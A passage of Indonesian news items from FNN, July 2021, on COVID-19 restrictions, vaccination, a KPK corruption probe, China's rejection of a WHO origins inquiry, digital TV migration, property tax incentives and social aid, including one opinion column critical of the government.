cepat, kita gerakkan masyarakat supaya bisa menyegerakan ikut vaksinasi dan bagi mereka yang terkonfirmasi, maka hari ini kita sudah menyiapkan layanan isi ulang oksigen secara gratis,” pungkas Gubernur Jatim. (mth)

Rezimku Sayang, Rezimku Malang

Penanganan Covid -19 adalah ujian bagi rezim Jokowi, yang akan menerima pengakuan dan sertifikat dari negara. Oleh Sugengwaras Bandung, FNN - Negara bukan hanya terdiri dari pemerintah saja, melainkan negara dalam makna yang sebenarnya yang terdiri dari pemerintah, rakyat, wilayah dan hukum atau pengakuan dari negara lain Dari kaca mata pemerintah penilaian ini sudah jelas, karena kesekian kalinya LBP yang diakui dan dipercaya oleh Presiden Jokowi, yang juga dijuluki menteri segala urusan itu, kembali ditugasi sebagai koordinator Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM), guna mengurangi resiko kematian akibat Covid - 19. Layaknya konseptor ahli strategi, LBP telah merencanakan, menyiapkan, melaksanakan, mengawasi dan mengevaluasi PPKM yang pada kesimpulanya "terkendali" dan "berhasil" menurunkan angka kematian akibat Covid, apalagi ditambahi bumbu permohonan maaf dari LBP kepada masyarakat Indonesia atas ucapannya "Datang aja kesini bagi yang bilang tidak terkendali, biar kutunjukkan MUKANYA..." Keberhasilan ini ditandai dengan pengesahan oleh sang presiden yang menambah perpanjangan waktu PPKM hingga 25 Juli mendatang. Berbeda dengan kaca mata dari masyarakat yang merasakan dan menilai kegagalan PPKM, dengan wujud penolakan dan perlawanan di beberapa daerah, akibat praktek-praktek kekerasan dan tekanan dari petugas PPKM di satu sisi, dan pengabaian serta kebebasan atau kelonggaran TKA Cina yang masuk ke Indonesia pada saat pelaksanaan PPKM di sisi lain. Tindakan ini dianggap pemikiran bukan akal sehat karena justru lebih mengutamakan kepentingan orang asing dibanding kepentingan rakyat sendiri. Rakyat juga menilai, bahwa pemerintah hanya mampu membatasi kegiatan masyarakat, tapi tidak mampu mengatasi kesulitan dan penderitaan rakyat, meskipun belakangan ada kucuran bansos dari pemerintah yang dirasa terlambat, yang berkesimpulan PPKM tidak efektif. Dari kacamata asing, juga menilai kurang efektifnya PPKM ini, yang ditandai dengan adanya penarikan beberapa warganya yang dievakuasi ke negaranya. Dari kaca mata wilayah juga menilai, kenapa pandemi Covid -19 yang telah menjamah seantero dunia termasuk Nusantara ini, tidak dilaksanakan secara serentak bersamaan, yang hanya diargumentasi pembenaran dari pemerintah sendiri. Alhasil kalkulasi dari semua penilaian ditengarai dengan ketidakpuasan masyarakat atau dengan kata lain PPKM gagal, tidak perlu dilanjutkan! Maka hendaknya, ini menjadi introspeksi bagi rezim ini agar ke depan penanganan terhadap Covid -19 dilakukan dengan tepat guna dan daya guna optimal, tidak mubazir dan bermanfaat untuk semuanya. Penulis, Purnawirawan TNI AD.

Sahroni Dukung Kemenkumham Perluas Pembatasan WNA Masuk Indonesia

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni mendukung kebijakan Menteri Hukum dan HAM Yasonna Laoly resmi memperluas pembatasan terhadap orang asing yang diperbolehkan masuk ke wilayah Indonesia. Kebijakan tersebut tertuang dalam Permenkumham Nomor 27 Tahun 2021 tentang Pembatasan Orang Asing Masuk ke Wilayah Indonesia Dalam Masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). "Memang sudah saatnya ada kebijakan seperti yang dikeluarkan Kemenkumham, karena beberapa kasus di Indonesia diakibatkan longgarnya pengawasan terhadap WNA yang masuk. Saya apresiasi kebijakan Menkumham yang mengedepankan keselamatan dan keamanan kita semua," kata Sahroni dalam keterangannya di Jakarta, Kamis. Dia berharap, kebijakan itu bisa ditegakkan dengan adil dan tidak "pandang bulu". Dia juga meminta agar aturannya dibuat jelas dan disosialisasikan dengan baik sehingga tidak menyebabkan kebingungan di kalangan industri. "Tentunya saya harapkan agar aturan ini berlaku dengan tanpa pandang bulu, bagi TKA dari perusahaan kecil maupun besar seperti tambang. Selain itu, peraturannya juga harus jelas dan disampaikan dengan baik kepada para pemain industri, sehingga tidak menciptakan kebingungan dan kerancuan di masyarakat," ujarnya. Sebelumnya, Menkumham Yasonna Laoly mengeluarkan Permenkumham Nomor 27 Tahun 2021 tentang Pembatasan Orang Asing Masuk ke Wilayah Indonesia Dalam Masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Aturan tersebut resmi memperluas pembatasan terhadap orang asing yang diperbolehkan masuk ke wilayah Indonesia. Dalam peraturan yang resmi berlaku sejak 21 Juli 2021 ini, pekerja asing yang sebelumnya datang ke Indonesia sebagai bagian dari proyek strategis nasional tak lagi bisa masuk ke Tanah Air. "Dalam Permenkumham Nomor 27 Tahun 2021, orang asing yang boleh memasuki wilayah Indonesia hanya pemegang Visa Diplomatik dan Visa Dinas, pemegang Izin Tinggal Diplomatik dan Izin Tinggal Dinas, pemegang Izin Tinggal Terbatas dan Izin Tinggal Tetap, orang asing dengan tujuan kesehatan dan kemanusiaan, serta awak alat angkut yang datang dengan alat angkut-nya," papar Yasonna dalam keterangannya, Rabu (21/7). Karena itu menurut dia, tenaga kerja asing yang sebelumnya datang sebagai bagian dari proyek strategis nasional atau dengan alasan penyatuan keluarga, saat ini tidak bisa lagi masuk ke Indonesia sebagaimana diatur dalam peraturan tersebut. Yasonna menegaskan bahwa perluasan pembatasan orang asing yang masuk ke Indonesia itu dilakukan dalam rangka menekan penyebaran COVID-19. Permenkumham ini sekaligus menggantikan Permenkumham Nomor 26 Tahun 2020 Tentang Visa dan Izin Tinggal Dalam Masa Adaptasi Kebiasaan Baru. Di sisi lain, Yasonna juga menyebutkan, orang asing yang tergolong pengecualian dalam Permenkumham tersebut, juga membutuhkan rekomendasi kementerian/lembaga terkait untuk bisa masuk ke Indonesia. (mth)

KPK Panggil Enam Saksi Kasus Barang Darurat COVID-19 Bandung Barat

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), memanggil enam saksi dalam penyidikan kasus dugaan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Kabupaten Bandung Barat Tahun 2020. Mereka dijadwalkan diperiksa untuk tersangka Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUM) dan kawan-kawan. "Kamis, bertempat di Kantor Pemkab Bandung Barat, tim penyidik mengagendakan pemanggilan saksi-saksi untuk tersangka AUM dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Enam saksi, yaitu Kepala Dinas Perindustrian dan Perdagangan Kabupaten Bandung Barat Riki Riadi, karyawan honorer Sekretariat Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Bandung Barat Ajeng Dahlia, Kabag Pengadaan Barang Jasa Pemkab Bandung Barat Anni Roslianti. Selanjutnya, Direktur Utama PT Jagat Dirgantara Asep Cahyadinata, Swasta/ Direktur CV Satria Jakatamilung Asep Saepudin, dan Kasi Pemeliharaan Jalan dan Pembatan PUPR Kabupaten Bandung Barat Chandra Kusuma Wijaya. Selain pemeriksaan saksi, KPK pada Kamis ini juga memanggil tersangka kasus tersebut, yakni M Totoh Gunawan (MTG) selaku pemilik PT Jagat Dirgantara (JDG) dan CV Sentral Sayuran Garden City Lembang (SSGCL). Pemeriksaan digelar di Gedung KPK, Jakarta. Selain Aa Umbara dan M Totoh, KPK juga telah menetapkan Andri Wibawa (AW) dari pihak swasta/anak Aa Umbara sebagai tersangka. Dalam konstruksi perkara disebut pada Maret 2020 karena adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan "refocusing" anggaran APBD Tahun 2020 pada Belanja Tidak Terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total senilai Rp36 miliar untuk pengadaan paket bahan pangan Bantuan Sosial Jaring Pengaman Sosial (Bansos JPS). Sedangkan M Totoh dengan menggunakan PT JDG dan CV SSGCL mendapatkan paket pekerjaan dengan total senilai Rp15,8 miliar untuk pengadaan bahan pangan Bansos JPS dan Bantuan Sosial terkait Pembatasan Sosial Berskala Besar (Bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang sumbernya disisihkan oleh M Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan pada masyarakat Kabupaten Bandung Barat. Sementara M Totoh diduga telah menerima keuntungan sejumlah sekitar Rp2 miliar dan Andri juga diduga menerima keuntungan sejumlah sekitar Rp2,7 miliar. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar dan fakta ini masih terus akan didalami oleh tim penyidik KPK. (mth)

China Tolak Rencana WHO Lakukan Penyelidikan Kedua Asal Virus Corona

Beijing, (FNN) - Republik Rakyat China menolak rencana Organisasi Kesehatan Dunia (WHO) untuk melakukan tahap kedua penyelidikan tentang asal usul virus corona. Penyeledikan mencakup hipotesis bahwa virus itu kemungkinan lolos dari laboratorium China. Penolakan tersebut disampaian seorang pejabat tinggi Beijing, Kamis, 22 Juli 2021. "Kami berharap WHO secara serius meninjau pertimbangan dan saran yang dibuat oleh para ahli China dan benar-benar memperlakukan penelusuran asal virus penyebab Covid-19 sebagai masalah ilmiah, dan menyingkirkan campur tangan politik," kata wakil menteri Komisi Kesehatan Nasional (NHC) China, Zeng Yixin, kepada wartawan. Sebelumnya, WHO menyerukan pentingnya transparansi dari pihak berwenang China dengan mengusulkan studi fase kedua tentang asal-usul virus corona di China, termasuk audit laboratorium dan pasar di kota Wuhan. Zeng tidak terkejut ketika pertama kali membaca rencana WHO itu karena mencantumkan hipotesis bahwa pelanggaran protokol laboratorium di China telah menyebabkan kebocoran virus selama penelitian. "Kami berharap WHO secara serius meninjau pertimbangan dan saran yang dibuat oleh para ahli China. Kami meminta agar benar-benar memperlakukan penelusuran asal virus penyebab Covid-19 sebagai masalah ilmiah, dan menyingkirkan campur tangan politik," ujar Zeng. "China menentang politisasi penelitian ini," katanya. Asal usul virus corona baru masih diperdebatkan di antara para ahli. Kasus pertama yang diketahui muncul di kota Wuhan di China tengah pada Desember 2019. Virus itu diyakini telah menular ke manusia dari hewan yang dijual untuk makanan di suatu pasar di kota tersebut. Pada Mei yang lalu, Presiden Amerika Serikat Joe Biden memerintahkan para bawahannya untuk menemukan jawaban atas pertanyaan tentang sumber yang mengatakan bahwa badan-badan intelijen AS sedang mencari tahu teori-teori yang berpotensi, termasuk kemungkinan sebuah kecelakaan (kebocoran) laboratorium di China. Zeng, bersama dengan para pejabat lain dan pakar China pada konferensi pers, mendesak WHO untuk memperluas upaya penelusuran asal virus corona baru ke negara lain di luar China. "Kami percaya kebocoran laboratorium sangat tidak mungkin. OLeh karena itu, tidak perlu menginvestasikan lebih banyak energi dan upaya dalam hal ini," kata Liang Wannian, pemimpin tim China untuk tim ahli gabungan WHO. Liang mengatakan, hipotesis kebocoran laboratorium tidak dapat diabaikan sepenuhnya. Akan tetapi, ia menyarankan, jika diperlukan bukti, negara-negara lain pun dapat melihat kemungkinan kebocoran dari laboratorium mereka. (MD).

Siaran TV Digital Untungkan Masyarakat

Jakarta, FNN - Migrasi siaran televisi teresterial dari analog ke digital akan bermanfaat bagi masyarakat antara lain berupa kualitas siaran dan internet cepat. "Migrasi dari siaran televisi analog ke digital ini adalah suatu keniscayaan," kata Direktur Jenderal Penyelenggara Pos dan Informatika, Kementerian Komunikasi dan Informatika, Ahmad M. Ramli, dalam webinar Sosialisasi TV Digital 2021, Kamis. Indonesia termasuk terlambat melakukan penghentian siaran analog, analog switch off (ASO) karena terganjal regulasi. Landasan hukum yang kuat untuk ASO baru ada ketika Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja disahkan, yang mengamanatkan ASO akan selesai paling lambat 2 November 2022. Setelah beralih ke siaran televisi teresterial digital, Kominfo menegaskan siaran televisi yang sampai ke masyarakat akan lebih baik kualitasnya, dari segi gambar maupun suara. Penghentian siaran analog juga akan berdampak ke ketersediaan internet kecepatan tinggi di dalam negeri. Selama ini, spektrum frekuensi radio 700MHz, yang sangat cocok untuk telekomunikasi, sepenuhnya dihabiskan oleh siaran televisi teresterial analog. "Siaran analog ini boros," kata Ramli. Ketika siaran analog sudah beralih ke digital, akan ada dividen digital sebesar 112MHz yang bisa dialokasikan untuk kepentingan lain. Pemerintah berencana menggunakan digital dividen hasil ASO ini untuk menyediakan layanan internet kecepatan tinggi. Internet kecepatan tinggi juga disokong oleh pembangunan infrastruktur telekomunikasi terutama di daerah terdepan, terluar dan tertinggal atau 3T. "Ditambah dividen digital, ini akan sangat membantu dan masyarakat akan dapat internet yang lebih baik lagi," kata Ramli. Peralihan siaran televisi dari analog ke digital juga akan menimbulkan konsekuensi bagi masyarakat, yaitu perangkat televisi yang bisa menangkap siaran digital. Jika tidak ada, masyarakat perlu menambahkan alat set top box. Pemerintah berencana memberikan subsidi set top box bagi masyarakat miskin, diperkirakan akan dibutuhkan 6,5 hingga 7 juta unit set top box untuk keluarga miskin di Indonesia. Penyediaan set top box ini merupakan komitmen lembaga penyiaran sebagai penyelenggara multipleksing dan pemerintah melalui TVRI. (mth)

Gubernur: Cakupan Vaksinasi COVID-19 Jawa Timur Tertinggi se-Indonesia

Surabaya, FNN - Gubernur Jawa Timur Khofifah Indar Parawansa menyatakan bahwa cakupan program vaksinasi COVID-19 di Jawa Timur paling tinggi jika dibandingkan dengan cakupan vaksinasi provinsi-provinsi lain di Indonesia. "Kemarin dari rakor bersama Pak Wapres, hanya untuk Jatim kita melaporkan bahwa capaian vaksinasi mulai Januari 2021 selalu capaian dosis tertinggi, baik dosis pertama maupun kedua," katanya saat meninjau pelayanan vaksinasi bagi pelajar di SMAN 6 Surabaya pada Kamis pagi. Menurut data Satuan Tugas Penanganan COVID-19, jumlah warga yang sudah mendapat suntikan dosis pertama vaksin COVID-19 di Jawa Timur sebanyak 7.058.237 orang, lebih banyak dibandingkan di DKI Jakarta (6.693.688 orang), Jawa Barat (5.134.735 orang), Jawa Tengah (4.523.284 orang), dan Bali (2.946.919 orang). Warga yang sudah mendapat dua suntikan vaksin atau sudah selesai menjalani vaksinasi di Jawa Timur tercatat sebanyak 2.694.731 orang, lebih banyak dibandingkan di Jawa Barat (2.315.419 orang), Jawa Tengah (2.311.019 orang), DKI Jakarta (2.041.918 orang), dan Bali (783.613 orang). Gubernur Jawa Timur optimistis dengan cakupan vaksinasi yang sudah dicapai Jawa Timur bisa mewujudkan kekebalan komunal terhadap COVID-19 pada Agustus 2021. Mantan Menteri Sosial itu mengimbau warganya segera menjalani vaksinasi dan memastikan anggota keluarga mendapat suntikan vaksin. "Pastikan bahwa kita dan keluarga sudah tervaksin," katanya. Sementara itu, Kepala Dinas Pendidikan Jawa Timur Wahid Wahyudi mengatakan bahwa 82 persen guru dan tenaga kependidikan sudah mendapat suntikan dosis pertama vaksin COVID-19 dan 72 persen guru dan tenaga kependidikan sudah mendapat suntikan dua dosis vaksin atau sudah selesai menjalani vaksinasi. "Vaksinasi kepada guru dan tenaga pendidikan akan dilakukan hingga 100 persen," kata dia. Pelaksanaan vaksinasi COVID-19 pada pelajar, ia mengatakan sudah dilakukan di Surabaya, Tuban, dan Jombang, dan akan terus ditingkatkan cakupannya. "Beberapa hari lalu vaksinasi dilaksanakan di SMAN 5 Surabaya, saat ini SMAN 6 Surabaya, dan besok SMA Trimurti Surabaya. Harapannya adalah saat pembelajaran tatap muka terbatas dilaksanakan semua warga sekolah sudah divaksin," kata Mantan Kepala Dinas Perhubungan Jawa Timur tersebut. (mth)

Konsultan: Insentif PPN Stimulus Penjualan Rumah Tapak di Triwulan II

Jakarta, FNN - Konsultan properti Jones Lang LaSalle (JLL) menilai insentif Pajak Pertambahan Nilai (PPN) untuk sektor properti, khususnya rumah tapak menstimulus penjualan rumah tapak pada triwulan II tahun ini. Head of Research JLL Yunus Karim mengatakan kalau melihat semester I tahun pajak rumah atau insentif yang diberikan oleh pemerintah cukup menstimulus penjualan rumah tapak. "Karena memang pembeli dapat memanfaatkan kesempatan ini untuk mendapatkan harga yang lebih kompetitif dibandingkan pada masa-masa biasa," kata Yunus dalam konferensi pers virtual di Jakarta, Kamis. Dia juga menambahkan para pengembang yang memiliki rumah ready stock atau rumah yang sudah jadi, serta rumah yang akan jadi dalam waktu dekat, tentunya terdampak oleh stimulus tersebut berupa peningkatan penjualan. Head of Advisory JLL Vivin Harsanto menambahkan rumah tapak masih menjadi salah satu segmen yang bertahan di tengah pandemi. Minat pasar terlihat masih cukup tinggi merespons peluncuran produk baru oleh pengembang. "Permintaan yang didominasi oleh pengguna akhir dan keterjangkauan harga menjadi salah satu faktor yang membuat sektor ini tetap memiliki performa yang baik. Selain itu, insentif PPN, relaksasi Loan to Value (LTV), disertai dengan promosi dari pengembang dan penawaran cara pembayaran yang variatif juga menunjang keberhasilan penjualan rumah tapak,” katanya. JLL mencatat pada semester I tahun 2021 hampir 80 persen yang terjual memiliki harga di bawah Rp1,3 miliar. Di samping itu beberapa pengembang perumahan diperkirakan akan meluncurkan produk-produk rumah tapak baru sebagai dampak dari perluasan township atau kompleks perumahan serta melakukan joint venture terkait pembangunan rumah tapak di wilayah seperti Tangerang, Bogor, dan Bekasi, pada akhir tahun ini. Sebelumnya Pemerintah telah membebaskan PPN untuk rumah tapak dan rumah susun (rusun) yang dibanderol berkisar Rp300 juta hingga Rp2 miliar. Langkah pemerintah menanggung PPN tersebut berlaku untuk rumah yang sudah jadi dan penyerahannya di rentang Maret-Agustus 2021. Aturan itu tertuang di dalam Peraturan Menteri Keuangan (PMK) Nomor 21/PMK/010/2021 yang diterbitkan Maret 2021. Kemudian pemerintah melalui Kementerian Keuangan akhirnya memperpanjang sejumlah insentif perpajakan hingga Desember 2021 untuk mendorong pemulihan ekonomi domestik. Salah satu insentif pajak tersebut adalah Pajak Pertambahan Nilai (PPN) properti yang diperpanjang hingga akhir tahun ini. Sebelumnya, berdasarkan Peraturan Menteri Keuangan (PMK) Nomor 21 Tahun 2021, PPN yang ditanggung pemerintah hanya berlaku sampai bulan Agustus 2021. Pemerintah memberikan insentif berupa PPN untuk rumah dengan harga rumah maksimal Rp2 miliar. Sementara secara spesifik, insentif yang masuk ke dalam Program Pemulihan Ekonomi Nasional (PEN) 2021 yaitu rumah dengan tipe rumah tapak atau rumah susun. Pemerintah juga memberikan pengurangan PPN sebesar 50 persen untuk tipe rumah tersebut dengan rentang harga jual dari Rp2 miliar hingga Rp5 miliar. Insentif tersebut berlaku untuk maksimal satu unit rumah tapak atau rumah susun untuk satu orang, dan tidak boleh dijual kembali dalam jangka waktu satu tahun. (mth)

IPB Rancang Konsentrator Oksigen Respons Kelangkaan

Jakarta, FNN - IPB University merancang konsentrator oksigen sebagai respons atas kelangkaan oksigen medis di lapangan imbas melonjaknya angka penularan COVID-19 dalam beberapa pekan terakhir. "Rancangan konsentrator oksigen ini bertujuan mengisi kekosongan oksigen di lapangan. Semoga minggu ini bisa kita selesaikan produknya. Sudah juga dirancang untuk instalasi oxygen concentrator plant yang digunakan untuk memproduksi oksigen di rumah sakit sehingga kita tidak perlu lagi isi ulang," ujar Rektor IPB University Arif Satria dalam keterangan tertulisnya diterima di Jakarta, Kamis. Dalam berbagai literatur, konsentrator oksigen bekerja sebagai penyaring udara, lalu mengompresnya ke kepadatan yang diperlukan. Kemudian, mengirimkan oksigen kadar medis yang dimurnikan ke dalam sistem pengiriman dosis-pulsa atau sistem aliran berkelanjutan ke pasien. Alat ini dilengkapi dengan filter khusus yang membantu menghilangkan nitrogen dari udara untuk memastikan pengiriman oksigen yang dimurnikan sepenuhnya kepada pasien. Perangkat ini juga dilengkapi dengan antarmuka pengguna elektronik sehingga dapat menyesuaikan tingkat konsentrasi oksigen dan pengaturan laju oksigen. Kemudian pasien menghirup oksigen melalui kanula (selang) hidung atau masker khusus. "Kan sebenarnya oksigen di udara banyak, kita menangkap itu agar bisa digunakan oleh para pasien. Sekarang sudah tahap perakitan, Insya Allah hari Jumat akan diujicoba. Apabila sudah sesuai, Insya Allah akan kita produksi," kata Arif. Sementara itu, Wali Kota Bogor Bima Arya yang meninjau Asrama IPB University sebagai lokasi isolasi mandiri menyambut baik inovasi yang tengah dikembangkan IPB. "Kebutuhan oksigen ini luar biasa. Kalau kata Pak Presiden nafas kita harus panjang ke depan. Kita akan hitung sekarang, kapasitas produksinya berapa antara IPB University dan Lembaga Ilmu Pengetahuan Indonesia (LIPI)," katanya. Asrama IPB yang digunakan sebagai tempat isoman memiliki kapasitas 184 tempat tidur. Saat ini baru terdapat 67 pasien yang tengah menjalani isoman. Beberapa fasilitas yang disediakan di Asrama IPB University dalam menunjang keberhasilan isoman seperti makan tiga kali sehari, snack dua kali sehari, masker setiap hari, sabun cuci baju dan tempat berjemur. Seluruh pasien akan dilayani oleh nakes yang dilengkapi Alat Pelindung Diri (APD) level 3. (mth)

Kayu Jati Indonesia Ramah Lingkungan, Diminati di Jerman

Jakarta, FNN - Kayu jati asal Indonesia, yang telah menerapkan Sistem Verifikasi Legalitas Kayu (SLVK) yang diakui oleh Uni Eropa, banyak dicari di Jerman. Kayu yang diproduksi secara berkelanjutan, legal, dan bertanggung jawab sosial itu memiliki kelebihan dibandingkan kayu jati dari negara Asia Tenggara lainnya, yang beberapa tahun belakangan ini ditengarai mengalami kemerosotan reputasi karena tuduhan eksploitasi berlebihan lahan hutan dan kerusakan lingkungan akibat pembukaan lahan untuk perkebunan kayu jati. “Hal ini membuat industri kayu Indonesia tidak hanya memperhatikan bahwa kayu yang mereka produksi berasal dari perkebunan kayu, tetapi juga bahwa kayunya diproduksi secara berkelanjutan dan ramah lingkungan,” ujar Duta Besar RI untuk Jerman Arif Havas Oegroseno dalam keterangan, Kamis. Indonesia dikenal dunia sebagai salah satu penghasil kayu jati terbesar. Jenis kayu keras ini menjadi komoditas bernilai tinggi karena tampilan dan sifat kayunya yang unik. Industri furnitur kayu jati berkembang pesat di Indonesia dan didominasi oleh pelaku usaha kecil dan menengah. Kayu jati banyak dicari di Asia, umumnya untuk konstruksi bangunan, pintu, jendela, dan bahkan sebagai materi pembuatan kapal. Namun di Jerman, kayu jati banyak ditemui di pekarangan dan taman, baik untuk bahan lantai parquet maupun furnitur luar ruang. Perlahan, menurut Dubes Oegroseno, masyarakat Jerman dan Eropa lainnya mulai menyadari banyaknya kayu hasil penebangan liar yang merusak lingkungan. Mereka mulai memperhatikan informasi dari mana kayu yang mereka beli berasal dan apakah ditebang dari perkebunan kayu yang ramah lingkungan. “Dan itu bagus dan hal yang baik,” tutur dia. Industri kayu sudah ada di Indonesia sejak abad ke-18. Saat ini pemerintah melalui SVLK mengontrol dan mendokumentasikan kepatuhan pelaku industri kayu terhadap aspek keberlanjutan dan kelestarian lingkungan. Label "Indonesian Legal Wood" akan diberikan kepada produk kayu yang telah lolos uji SVLK. Indonesia merupakan negara pertama yang diberi wewenang untuk menerbitkan izin Forest Law Enforcement, Governance and Trade (FLEGT) untuk kayu yang dijual di pasar Uni Eropa. Bergabungnya Indonesia ke dalam sistem kontrol FLEGT diharapkan mampu meyakinkan konsumen kayu tropis Uni Eropa bahwa kayu Indonesia yang dibelinya diproduksi secara legal dan ramah lingkungan. Perusahaan importir di Eropa pun diuntungkan karena kayu-kayu berizin FLEGT dapat dengan mudah didistribusikan di seluruh wilayah Uni Eropa tanpa membutuhkan izin tambahan. "Dengan bergabungnya Indonesia di sistem kontrol FLEGT, kita dapat membuktikan bahwa kayu jati Indonesia tidak berasal dari pembalakan liar, dan bahwa jumlah pohon yang ditebang akan sama dengan jumlah bibit pohon yang ditanam kembali,” kata Dubes Oegroseno. “Sistem sertifikasi FLEGT yang akan diperkenalkan secara global ini bahkan jauh lebih baik dibandingkan FSC. FLEGT menekankan pada legalitas kayu, tanggung jawab sosial, dan keberlanjutan. Sistem ini memperhatikan sungguh-sungguh aspek keberlanjutan yang ditargetkan oleh Uni Eropa,” katanya menambahkan. Pohon jati di perkebunan umumnya baru layak tebang setelah berumur 15-25 tahun. Namun, pohon jati hutan memerlukan waktu setidaknya dua kali lebih lama untuk mencapai ukuran dan kualitas setara. "Tetapi kualitas kayu tidak hanya bergantung pada umur pohon, namun juga terkait teknologi pengolahan selanjutnya,” ujar Atase Perdagangan KBRI Berlin Nurlisa Arfani. Teknologi pengolahan kayu jati Indonesia sekarang ini semakin baik sehingga konsumen bisa mendapatkan kayu yang lebih berkualitas dan tahan lama serta tahan cuaca apapun. Pada 2020, produk kayu Indonesia diekspor ke Eropa dengan nilai 660 juta euro (sekitar Rp11,3 triliun), umumnya sudah dalam bentuk furnitur. Perputaran uang global dari jual beli kayu mencapai 2,4 miliar euro (sekitar Rp41 triliun). Selain kayu jati dan produk rotan, industri furnitur Indonesia juga mulai merambah ke kayu trembesi sebagai alternatif yang lebih berkelanjutan. Produk kayu trembesi juga disukai di Eropa, dikenal sebagai rain tree karena tampilannya yang sangat cantik. Urat kayu trembesi dengan warna coklat emas dan kelir hitam membuatnya cocok dibuat dijadikan furnitur meja yang menghiasi rumah-rumah di Jerman dan negara Eropa lainnya. Artikel tentang keunggulan produk kayu jati Indonesia dimuat di Mobelmarkt, majalah desain interior dan furnitur yang tidak hanya terbit di Jerman, tetapi juga di beberapa negara lain yang berbahasa Jerman seperti Swiss dan Austria. (mth)

Gubernur: 64 Persen Penduduk Jawa Barat Dapat Bantuan Sosial Selama PPKM

Bandung, FNN - Gubernur Jawa Barat M Ridwan Kamil mengatakan bahwa sekitar 64 persen dari seluruh penduduk Provinsi Jawa Barat yang jumlahnya hampir 50 juta mendapat bantuan sosial dari pemerintah selama pemberlakuan pembatasan kegiatan masyarakat (PPKM) untuk mengendalikan penularan COVID-19. "64 persen warga Jabar di-cover oleh bantuan sosial formal. Yang dulunya (cakupan bantuan) dari pemerintah pusat hanya 40-an persen, sekarang sudah 60-an persen," katanya saat menyampaikan keterangan pers secara virtual dari Gedung Pakuan, Kota Bandung, Kamis. Ia mengatakan, pemerintah daerah akan menyalurkan bantuan kepada warga terdampak PPKM yang belum mendapat bantuan sosial dari pemerintah pusat. "Provinsi akan menyisir mereka-mereka yang terdampak PPKM tapi tidak terdata di DTKS (Data Terpadu Kesejahteraan Sosial) atau di data formal," katanya. "Saya minta juga kepada rekan-rekan wartawan kalau menemukan ada kelompok masyarakat yang tidak terdaftar bansos formal, itu bisa kita bantu dari provinsi," ia menambahkan. Gubernur ikut menyalurkan bantuan sembako dan tunai kepada warga yang terdampak PPKM pada Selasa (20/7) dan Rabu (21/7). Dia mengajak komunitas membantu menyalurkan bantuan kepada warga terdampak PPKM yang belum masuk ke dalam data pemerintah. Sementara itu, Kepala Dinas Sosial Provinsi Jawa Barat Dodo Suhendar menyampaikan bahwa selama PPKM berlangsung pemerintah pusat dan pemerintah daerah menyalurkan bantuan sosial melalui 13 pintu kepada warga Jawa Barat. Pemerintah antara lain menyalurkan bantuan melalui Program Keluarga Harapan (PKH) reguler, program bantuan pangan non-tunai (BPNT) atau program bantuan sembako reguler, dan program bantuan sosial tunai (BST). Pemerintah juga memberikan bantuan beras kepada keluarga penerima manfaat PKH dan keluarga penerima manfaat BST. Selain itu ada program pemberian tambahan bantuan beras dari pemerintah kabupaten/kota dan penyaluran bantuan beras masing-masing lima kg per keluarga yang dilakukan menggunakan dana non-APBN dari Kantor Sekretariat Presiden. Selanjutnya, ada penyaluran bantuan langsung tunai menggunakan Dana Desa, bantuan untuk pelaku usaha mikro, bantuan berupa diskon biaya listrik, bantuan dalam program Kartu Prakerja, dan bantuan kuota akses Internet. Di samping itu, ada pemberian bantuan sosial dari pemerintah kabupaten dan kota di Kota Bandung, Kabupaten Ciamis, dan Kabupaten Bogor. Dodo mengatakan bahwa jumlah penerima ke-13 jenis bantuan dari pemerintah tersebut di wilayah Jawa Barat tercatat 10.129.949 keluarga penerima manfaat (KPM) dan 4.362.641 orang. Ia menambahkan, jumlah penerima manfaat PKH dan BST di Jawa Barat bertambah. Jumlah keluarga penerima manfaat PKH bertambah dari 1.718.362 menjadi 1.813.956 keluarga dan penerima BST bertambah dari 1.957.321 menjadi 2.060.882 keluarga. "Penambahan ini kemungkinan dari hasil usulan Pemda Provinsi maupun Pemda Kabupaten/Kota yang sudah masuk ke buffer stock data Kemensos sudah ber-NIK valid dan padan dengan Kemendagri," kata Dodo. Ia menjelaskan, penerima bantuan sosial dari pemerintah pusat berbeda dengan keluarga rumah tangga sasaran (KRTS) bantuan sosial Pemerintah Provinsi Jawa Barat. ​​​​​​​ Pemerintah Provinsi Jawa Barat memberikan bantuan sosial kepada warga terdampak pandemi COVID-19 yang belum masuk dalam DTKS. ​​​​​​​ Dinas Sosial sudah mengajukan 1.903.583 KRTS penerima bantuan sosial dari Pemerintah Provinsi Jawa Barat menjadi penerima bantuan pemerintah pusat. "Sebagian dari KRTS penerima bansos Jabar kemungkinan besar akan menerima BST atau PKH dari pemenuhan kuota Jabar. Dan semua KRTS sudah diusulkan ke kantor Sekpres untuk menerima bansos beras 5 kg dari Presiden yang disalurkan oleh TNI dan Polri," katanya. (mth)

KKP Berikan Bantuan Kapal Pengawas ke Nabire Terkait Konservasi Penyu

